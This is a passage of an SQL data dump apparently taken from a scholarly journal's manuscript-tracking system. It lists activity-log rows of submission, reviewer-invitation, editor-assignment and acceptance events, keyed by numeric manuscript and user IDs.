00:00:00','Reviewer has updated comments',7629,'Reviewer',16785),(76043,'0000-00-00 00:00:00','Reviewer has submitted comments',8114,'Reviewer',17670),(76046,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7969,'Publisher',248),(76052,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8163,'Author',9331),(76063,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8169,'Author',9337),(76064,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8156,'Publisher',48),(76065,'0000-00-00 00:00:00','Manuscript Submitted by Author',8170,'Author',9337),(76066,'0000-00-00 00:00:00','Manuscript Submitted by Author',8171,'Author',9338),(76067,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8172,'Author',9340),(76068,'0000-00-00 00:00:00','Manuscript Submitted by Author',8173,'Author',9339),(76069,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8174,'Author',9341),(76086,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76087,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76088,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76089,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76091,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76092,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76093,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76094,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76103,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8158,'Publisher',274),(76104,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8159,'Publisher',274),(76118,'0000-00-00 00:00:00','Publisher : Notified Editor',8041,'Publisher',984),(76135,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8156,'Publisher',48),(76158,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8146,'Publisher',48),(76159,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8146,'Publisher',48),(76160,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8146,'Publisher',48),(76161,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8146,'Publisher',48),(76162,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8146,'Publisher',48),(76163,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8145,'Publisher',48),(76169,'0000-00-00 00:00:00','Publisher : Notified Editor',7897,'Publisher',85),(76170,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7897,'Editor',1393),(76171,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7897,'Editor',1393),(76177,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8163,'',1147),(76178,'0000-00-00 00:00:00','Publisher : Notified Editor',8014,'Publisher',274),(76189,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7897,'Publisher',85),(76190,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7897,'Publisher',85),(76192,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8173,'Publisher',48),(76194,'0000-00-00 00:00:00','Reviewer has submitted comments',7477,'Reviewer',15627),(76195,'0000-00-00 00:00:00','Publisher : Notified Author',6964,'Publisher',85),(76196,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(76197,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(76198,'0000-00-00 00:00:00','Publisher : Notified Editor',7477,'Publisher',85),(76199,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7477,'Editor',1439),(76200,'0000-00-00 00:00:00','Editor has been Editor Decision Rejected article',7477,'Editor',1439),(76207,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8159,'Editor',1664),(76208,'0000-00-00 00:00:00','Editor has Invited Reviewer',8159,'Editor',1664),(76209,'0000-00-00 00:00:00','Editor has Invited Reviewer',8159,'Editor',1664),(76210,'0000-00-00 00:00:00','Manuscript Submitted by Author',8187,'Author',9202),(76211,'0000-00-00 00:00:00','Author sent Email',7903,'Author',9117),(76214,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76215,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76216,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76217,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76218,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76219,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76226,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76227,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76228,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76240,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8169,'Publisher',984),(76241,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8171,'Publisher',376),(76242,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8170,'Publisher',984),(76250,'0000-00-00 00:00:00','Publisher has Unassign Editor',7477,'Publisher',85),(76251,'0000-00-00 00:00:00','Publisher : Notified Editor',7477,'Publisher',85),(76252,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7477,'Editor',1291),(76253,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7477,'Editor',1291),(76254,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7518,'Editor',1291),(76255,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7477,'Editor',1291),(76296,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8163,'Editor',634),(76297,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8163,'Editor',634),(76298,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8172,'Publisher',248),(76331,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7376,'Editor',1594),(76332,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7376,'Editor',1594),(76333,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7376,'Publisher',274),(76334,'0000-00-00 00:00:00','Reviewer has updated comments',7477,'Reviewer',15627),(76335,'0000-00-00 00:00:00','Reviewer has updated comments',7477,'Reviewer',15627),(76336,'0000-00-00 00:00:00','Reviewer has updated comments',7477,'Reviewer',15627),(76339,'0000-00-00 00:00:00','Reviewer has updated comments',8068,'Reviewer',5741),(76340,'0000-00-00 00:00:00','Publisher : Notified Editor',8068,'Publisher',85),(76342,'0000-00-00 00:00:00','Reviewer has submitted comments',8012,'Reviewer',11689),(76346,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8190,'Author',9357),(76368,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8194,'Publisher',48),(76375,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8012,'Publisher',48),(76377,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8174,'Publisher',85),(76378,'0000-00-00 00:00:00','Reviewer has submitted comments',8146,'Reviewer',5467),(76379,'0000-00-00 00:00:00','Reviewer has submitted comments',8145,'Reviewer',5467),(76380,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(76381,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(76382,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(76383,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(76384,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(76385,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(76386,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(76387,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(76388,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(76389,'0000-00-00 00:00:00','Reviewer has submitted comments',8146,'Reviewer',11689),(76390,'0000-00-00 00:00:00','Reviewer has submitted comments',8146,'Reviewer',11689),(76391,'0000-00-00 00:00:00','Reviewer has updated comments',8146,'Reviewer',11689),(76392,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8146,'Editor',194),(76393,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8146,'Editor',194),(76394,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8146,'Publisher',48),(76454,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76455,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76456,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76457,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76458,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76459,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76460,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76462,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76464,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76466,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76468,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76469,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76470,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76471,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76472,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76473,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8171,'Publisher',376),(76495,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7501,'Editor',1594),(76496,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7555,'Editor',1594),(76497,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7501,'Editor',1594),(76498,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7555,'Editor',1594),(76499,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7555,'',1086),(76500,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7501,'',1086),(76501,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7497,'Publisher',984),(76502,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7501,'',1086),(76503,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7555,'',1086),(76507,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8194,'Publisher',48),(76511,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7477,'Editor',1291),(76512,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7477,'Publisher',85),(76513,'0000-00-00 00:00:00','Publisher : Notified Author',7764,'Publisher',85),(76532,'0000-00-00 00:00:00','Manuscript Submitted by Author',8202,'Author',8771),(76533,'0000-00-00 00:00:00','Reviewer has updated comments',8068,'Reviewer',5743),(76560,'0000-00-00 00:00:00','Manuscript Submitted by Author',8205,'Author',8733),(76564,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8208,'Author',9373),(76581,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8188,'',1147),(76590,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8172,'Editor',359),(76591,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8172,'Editor',359),(76598,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8145,'Editor',194),(76599,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8145,'Editor',194),(76600,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8122,'Editor',194),(76601,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8122,'Editor',194),(76602,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8145,'Publisher',48),(76603,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7980,'Editor',194),(76604,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7980,'Editor',194),(76605,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7979,'Editor',194),(76606,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7979,'Editor',194),(76607,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8086,'Editor',194),(76608,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8086,'Editor',194),(76609,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8122,'',1045),(76610,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7980,'',1045),(76611,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7979,'',1045),(76612,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7979,'',1045),(76626,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8041,'Editor',1406),(76627,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8041,'Editor',1406),(76629,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8041,'Publisher',984),(76630,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8041,'Publisher',984),(76631,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8202,'Publisher',376),(76632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8202,'Publisher',376),(76633,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8202,'Publisher',376),(76634,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8202,'Publisher',376),(76647,'0000-00-00 00:00:00','Author sent Email',8170,'Author',9337),(76648,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8212,'Author',9377),(76649,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8213,'Author',9378),(76685,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(76686,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8147,'Publisher',75),(76687,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8147,'Publisher',75),(76688,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8147,'Publisher',75),(76695,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(76696,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(76697,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76698,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76699,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76700,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76701,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76702,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76703,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76704,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76705,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76706,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76707,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76708,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76709,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8170,'Publisher',984),(76710,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8068,'Editor',203),(76711,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8068,'Editor',203),(76712,'0000-00-00 00:00:00','Publisher : Notified Author',8068,'Publisher',85),(76729,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8218,'Author',9383),(76781,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8218,'Publisher',85),(76782,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76783,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76784,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76785,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76786,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76787,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76789,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76790,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76791,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8218,'Publisher',85),(76793,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8211,'',1147),(76819,'0000-00-00 00:00:00','Reviewer has submitted comments',7992,'Reviewer',11689),(76821,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7992,'Publisher',48),(76822,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8092,'Editor',194),(76823,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8092,'Editor',194),(76824,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8076,'Editor',194),(76825,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8076,'Editor',194),(76826,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8073,'Editor',194),(76827,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8073,'Editor',194),(76828,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7990,'Editor',194),(76829,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7990,'Editor',194),(76830,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8102,'Editor',194),(76831,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8102,'Editor',194),(76832,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8224,'Author',9388),(76836,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7990,'Publisher',48),(76845,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8213,'',1212),(76846,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8212,'',1212),(76857,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8208,'Publisher',75),(76859,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8226,'Publisher',48),(76861,'0000-00-00 00:00:00','Manuscript has been Revised',6964,'Author',8235),(76863,'0000-00-00 00:00:00','Publisher : Notified Author',7420,'Publisher',75),(76864,'0000-00-00 00:00:00','Publisher : Notified Author',7559,'Publisher',75),(76898,'0000-00-00 00:00:00','Manuscript Submitted by Author',8229,'Author',9326),(76904,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8226,'Publisher',48),(76905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8226,'Publisher',48),(76906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8226,'Publisher',48),(76907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8226,'Publisher',48),(76908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8226,'Publisher',48),(76909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8194,'Publisher',48),(76910,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8194,'Publisher',48),(76911,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8194,'Publisher',48),(76912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8194,'Publisher',48),(76913,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8173,'Publisher',48),(76914,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8173,'Publisher',48),(76915,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8173,'Publisher',48),(76916,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8173,'Publisher',48),(76917,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8173,'Publisher',48),(76918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8173,'Publisher',48),(76926,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8224,'Publisher',984),(76927,'0000-00-00 00:00:00','Publisher has Unassign Editor',8158,'Publisher',274),(76928,'0000-00-00 00:00:00','Publisher : Notified Editor',7883,'Publisher',274),(76929,'0000-00-00 00:00:00','Publisher : Notified Editor',8019,'Publisher',274),(76935,'0000-00-00 00:00:00','Publisher : Notified Editor',6964,'Publisher',85),(76938,'0000-00-00 00:00:00','Manuscript has been Revised',7887,'Author',9102),(76939,'0000-00-00 00:00:00','Manuscript has been Revised',7887,'Author',9102),(76940,'0000-00-00 00:00:00','Author sent Email',7887,'Author',9102),(76942,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8158,'Editor',1664),(76943,'0000-00-00 00:00:00','Editor has Invited Reviewer',8158,'Editor',1664),(76944,'0000-00-00 00:00:00','Editor has Invited Reviewer',8158,'Editor',1664),(76945,'0000-00-00 00:00:00','Editor has Invited Reviewer',8158,'Editor',1664),(76946,'0000-00-00 00:00:00','Editor has Invited Reviewer',8159,'Editor',1664),(76947,'0000-00-00 00:00:00','Editor has Invited Reviewer',8159,'Editor',1664),(76974,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8239,'Author',9399),(76975,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8240,'Author',9400),(76991,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8241,'Publisher',376),(76993,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8229,'Publisher',48),(77017,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8211,'Editor',634),(77018,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8211,'Editor',634),(77019,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8188,'Editor',634),(77020,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8188,'Editor',634),(77024,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6964,'Editor',1251),(77025,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6964,'Publisher',85),(77026,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6964,'Publisher',85),(77027,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8243,'Author',9408),(77028,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8244,'Author',9409),(77055,'0000-00-00 00:00:00','Reviewer has submitted comments',8095,'Reviewer',11689),(77056,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8095,'Editor',194),(77057,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8095,'',1045),(77071,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8241,'Publisher',376),(77088,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8243,'',1105),(77094,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8240,'Publisher',673),(77095,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8239,'Publisher',673),(77096,'0000-00-00 00:00:00','Manuscript Updated',8240,'Publisher',673),(77100,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8253,'Author',9419),(77109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8229,'Publisher',48),(77110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8229,'Publisher',48),(77113,'0000-00-00 00:00:00','Reviewer has submitted comments',7029,'Reviewer',15493),(77114,'0000-00-00 00:00:00','Publisher : Notified Editor',7029,'Publisher',85),(77115,'0000-00-00 00:00:00','Manuscript has been Revised',7030,'Author',8307),(77172,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7843,'Editor',1594),(77173,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7883,'Editor',1594),(77174,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7883,'Publisher',274),(77175,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7843,'Publisher',274),(77176,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7843,'Publisher',274),(77177,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7883,'Publisher',274),(77178,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7472,'Publisher',274),(77179,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7029,'Editor',203),(77180,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7029,'Editor',203),(77181,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7029,'Publisher',85),(77182,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7029,'Publisher',85),(77183,'0000-00-00 00:00:00','Publisher : Notified Editor',7030,'Publisher',85),(77184,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7030,'Editor',1291),(77185,'0000-00-00 00:00:00','Author sent Email',8170,'Author',9337),(77186,'0000-00-00 00:00:00','Author sent Email',8169,'Author',9337),(77188,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7030,'Editor',1291),(77189,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7518,'Editor',1291),(77190,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7518,'Editor',1291),(77191,'0000-00-00 00:00:00','Editor sent Email',7518,'Editor',1291),(77195,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77196,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77197,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77198,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77199,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77200,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77201,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77202,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77203,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77204,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77205,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77206,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77207,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8224,'Publisher',984),(77209,'0000-00-00 00:00:00','Reviewer has submitted comments',7635,'Reviewer',16051),(77210,'0000-00-00 00:00:00','Reviewer has updated comments',7635,'Reviewer',16051),(77211,'0000-00-00 00:00:00','Reviewer has updated comments',7635,'Reviewer',16051),(77214,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8282,'Author',9435),(77220,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8284,'Author',9437),(77221,'0000-00-00 00:00:00','Reviewer has submitted comments',8224,'Reviewer',10967),(77222,'0000-00-00 00:00:00','Reviewer has submitted comments',8170,'Reviewer',10967),(77223,'0000-00-00 00:00:00','Reviewer has submitted comments',8041,'Reviewer',10967),(77225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8208,'Publisher',75),(77226,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8208,'Publisher',75),(77227,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8208,'Publisher',75),(77228,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8208,'Publisher',75),(77229,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8208,'Publisher',75),(77230,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8244,'Publisher',319),(77274,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77275,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77276,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77277,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77278,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77279,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77280,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77281,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77282,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77283,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77284,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77285,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77286,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77287,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77288,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(77389,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8282,'Publisher',48),(77419,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7030,'Editor',1291),(77420,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent 